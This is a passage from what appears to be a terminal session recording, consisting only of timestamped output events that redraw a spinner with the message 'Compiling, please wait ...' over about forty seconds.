[16.355704, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[16.45606, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[16.556463, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[16.656856, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[16.757153, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[16.857447, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[16.957819, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[17.058208, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[17.158568, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[17.258966, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[17.35946, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[17.459916, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[17.560455, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[17.660855, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[17.763183, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[17.861645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[17.962051, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[18.062439, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[18.162895, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[18.263269, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[18.363695, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[18.464076, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[18.564554, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[18.665214, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[18.76571, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[18.866136, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[18.966534, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[19.066918, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[19.167222, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[19.267616, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[19.368009, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[19.468418, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[19.568772, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[19.669137, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[19.769534, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[19.869907, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[19.970298, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[20.070699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[20.171098, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[20.271482, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[20.371884, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[20.472273, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[20.572694, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[20.673098, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[20.773502, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[20.873903, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[20.974313, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[21.074712, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[21.175096, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[21.275502, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[21.376149, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[21.476547, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[21.576905, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[21.677312, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[21.777687, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[21.878097, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[21.978483, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[22.078864, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[22.179281, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[22.279671, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[22.380071, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[22.480427, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[22.580771, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[22.681169, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[22.781562, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[22.881972, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[22.982331, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[23.082766, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[23.183105, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[23.283498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[23.383944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[23.484236, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[23.584636, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[23.685062, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[23.785467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[23.885897, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[23.986321, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[24.086759, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[24.187166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[24.287475, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[24.387901, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[24.488271, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[24.588657, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[24.689065, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[24.789467, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[24.88987, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[24.990292, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[25.090709, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[25.191135, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[25.291551, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[25.391987, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[25.49242, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[25.592834, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[25.693163, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[25.793585, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[25.893982, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[25.994356, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[26.094723, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[26.195172, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[26.295622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[26.396087, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[26.496532, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[26.596959, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[26.697402, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[26.79782, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[26.898231, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[26.998582, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[27.099007, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[27.199433, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[27.2999, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[27.400352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[27.500823, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[27.601142, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[27.701551, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[27.801948, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[27.902362, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[28.002761, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[28.103173, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[28.203584, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[28.304012, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[28.40444, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[28.504864, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[28.605202, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[28.705556, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[28.80599, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[28.9064, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[29.006944, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[29.107364, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[29.207783, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[29.308185, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[29.40876, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[29.509184, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[29.609583, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[29.710009, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[29.810414, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[29.910815, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[30.011255, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[30.111699, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[30.212078, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[30.312498, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[30.412965, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[30.513353, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[30.613763, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[30.714177, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[30.814615, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[30.915033, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[31.015441, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[31.115908, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[31.216293, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[31.316708, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[31.417136, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[31.517546, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[31.617956, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[31.718385, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[31.818808, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[31.919252, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[32.019676, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[32.120074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[32.220516, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[32.320919, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[32.421326, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[32.521744, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[32.62216, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[32.722605, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[32.82298, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[32.923317, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[33.02407, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[33.124441, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[33.224846, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[33.325173, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[33.425622, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[33.526046, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[33.626492, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[33.726914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[33.82733, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[33.927765, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[34.028162, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[34.128487, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[34.228889, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[34.329312, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[34.429731, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[34.530105, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[34.630526, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[34.730944, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[34.831249, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[34.931636, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[35.032073, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[35.132486, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[35.232875, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[35.333288, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[35.433609, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[35.534006, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[35.634472, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[35.734913, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[35.83535, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[35.935774, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[36.036187, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[36.136585, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[36.237009, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[36.33742, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[36.437844, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[36.538405, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[36.638801, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[36.739211, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[36.839629, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[36.940067, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[37.040478, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[37.140892, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[37.241297, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[37.341697, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[37.442111, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[37.542537, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[37.642954, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[37.74336, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[37.843907, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[37.944306, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[38.044686, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[38.145196, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[38.245427, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[38.34584, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[38.446258, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[38.546641, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[38.647053, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[38.747372, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[38.847785, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[38.948202, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[39.048597, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[39.14901, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[39.249407, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[39.349794, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[39.450216, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[39.5506, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[39.65101, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[39.751425, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[39.851835, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[39.952235, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[40.052669, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[40.153086, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[40.253489, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[40.353916, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[40.454334, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[40.554749, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[40.655121, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[40.755512, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[40.855941, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[40.956349, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[41.056764, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[41.157262, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[41.257569, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[41.357946, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[41.458384, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[41.558745, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[41.659156, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[41.759558, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[41.859978, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[41.960382, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[42.060792, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[42.161148, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[42.261538, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[42.361894, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[42.462312, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[42.562715, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[42.6631, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[42.763523, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[42.863937, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[42.964332, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[43.064767, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[43.165276, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[43.265675, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[43.366059, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[43.466459, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[43.566861, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[43.667263, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[43.767686, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[43.868081, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[43.968513, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[44.068939, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[44.16934, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[44.26973, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[44.37016, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[44.470572, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[44.57097, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[44.671395, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[44.771854, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[44.872212, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[44.972622, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[45.073035, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[45.173427, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[45.273831, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[45.374248, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[45.474648, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[45.575015, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[45.67536, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[45.775784, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[45.876195, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[45.976581, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[46.076994, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[46.177417, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[46.277828, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[46.378259, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[46.478643, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[46.579062, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[46.679483, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[46.779936, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[46.880336, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[46.980748, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[47.081175, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[47.181583, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[47.281996, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[47.382417, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[47.482822, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[47.583236, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[47.683666, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[47.784081, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[47.884434, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[47.984844, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[48.085173, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[48.185572, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[48.285954, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[48.3864, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[48.486722, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[48.587155, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[48.687533, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[48.787934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[48.888325, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[48.988634, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[49.088989, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[49.189391, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[49.289774, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[49.390179, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[49.490966, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[49.591386, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[49.69197, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[49.792603, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[49.892892, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[49.993266, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[50.093741, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[50.194145, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[50.294524, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[50.394942, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[50.495352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[50.595733, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[50.69614, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[50.796532, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[50.896893, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[50.997281, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[51.097628, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[51.198063, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[51.298421, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[51.398825, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[51.499873, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[51.60024, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[51.70058, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[51.800993, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[51.901384, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[52.001699, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[52.102069, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[52.202468, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[52.302861, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[52.403232, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[52.503626, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[52.604076, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[52.704477, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[52.805056, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[52.905444, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[53.005825, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[53.110452, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[53.210782, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[53.31116, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[53.411619, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[53.511944, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[53.614903, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[53.715292, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[53.815668, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[53.916192, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[54.016484, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[54.116879, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[54.217176, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[54.317617, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[54.418009, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[54.518418, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[54.618773, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[54.719184, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[54.819582, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[54.920023, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[55.020375, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[55.120785, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[55.221135, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[55.321574, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[55.421999, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[55.52238, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[55.622783, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[55.723193, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[55.823583, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[55.923971, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[56.024373, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[56.124755, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[56.225162, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[56.325365, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[56.425772, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[56.525886, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[56.626309, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[56.726669, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[56.827049, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[56.927429, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
